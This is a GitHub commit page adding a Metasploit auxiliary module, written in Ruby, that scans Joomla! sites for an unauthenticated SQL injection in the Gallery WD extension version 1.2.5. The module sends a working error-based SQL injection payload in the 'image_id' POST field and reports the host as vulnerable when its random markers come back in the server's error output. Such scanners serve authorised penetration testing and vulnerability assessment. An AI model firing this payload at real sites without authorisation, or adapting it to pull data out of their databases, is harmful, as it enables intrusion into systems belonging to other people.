Skip to content

Commit a592f64

Browse files
committed
Land rapid7#5039, Webdorado gallery wd 1.2.5 unauthenticated SQLi scanner
2 parents f4977bf + e73286c commit a592f64

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'uri'
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Gallery WD for Joomla! Unauthenticated SQL Injection Scanner',
18+
'Description' => %q{
19+
This module will scan for Joomla! instances vulnerable to an unauthenticated SQL injection
20+
within the Gallery WD for Joomla! extension version 1.2.5 and likely prior.
21+
},
22+
'Author' =>
23+
[
24+
'CrashBandicoot', #independent discovery/0day drop
25+
'bperry' #discovery/metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'EDB', '36563']
31+
],
32+
'DisclosureDate' => 'Mar 30 2015'))
33+
34+
register_options([
35+
OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/'])
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
right_marker = Rex::Text.rand_text_alpha(5)
41+
left_marker = Rex::Text.rand_text_alpha(5)
42+
flag = Rex::Text.rand_text_alpha(5)
43+
44+
vprint_status("#{peer} - Checking host")
45+
46+
res = send_request_cgi({
47+
'uri' => normalize_uri(target_uri.path, 'index.php'),
48+
'method' => 'POST',
49+
'vars_get' => {
50+
'option' => 'com_gallery_wd',
51+
'view' => 'gallerybox',
52+
'image_id' => '-1',
53+
'gallery_id' => '-1',
54+
'thumb_width' => '180',
55+
'thumb_height' => '90',
56+
'open_with_fullscreen' => 0,
57+
'image_width' => 800,
58+
'image_height' => 500,
59+
'image_effect' => 'fade',
60+
'sort_by' => 'order',
61+
'order_by' => 'asc',
62+
'enable_image_filmstrip' => '',
63+
'image_filmstrip_height' => 0,
64+
'enable_image_ctrl_btn' => 1,
65+
'enable_image_fullscreen' => 1,
66+
'popup_enable_info' => 1,
67+
'popup_info_always_show' => 0,
68+
'popup_hit_counter' => 0,
69+
'popup_enable_rate' => 0,
70+
'slideshow_interval' => 5,
71+
'enable_comment_social' => '',
72+
'enable_image_facebook' => '',
73+
'enable_image_twitter' => '',
74+
'enable_image_google' => '',
75+
'enable_image_pinterest' => '',
76+
'enable_image_tumblr' => '',
77+
'watermark_type' => 'none'
78+
},
79+
'vars_post' => {
80+
'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)",
81+
'rate' => '',
82+
'ajax_task' => 'save_hit_count',
83+
'task' => 'gallerybox.ajax_search'
84+
}
85+
})
86+
87+
unless res && res.body
88+
vprint_error("#{peer} - Server did not respond in an expected way")
89+
return
90+
end
91+
92+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
93+
94+
if result
95+
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Gallery WD for Joomla!")
96+
report_vuln({
97+
:host => rhost,
98+
:port => rport,
99+
:proto => 'tcp',
100+
:name => "Unauthenticated error-based SQL injection in Gallery WD for Joomla!",
101+
:refs => self.references.select { |ref| ref.ctx_val == "36563" }
102+
})
103+
end
104+
105+
end
106+
107+
end

0 commit comments

Comments
 (0)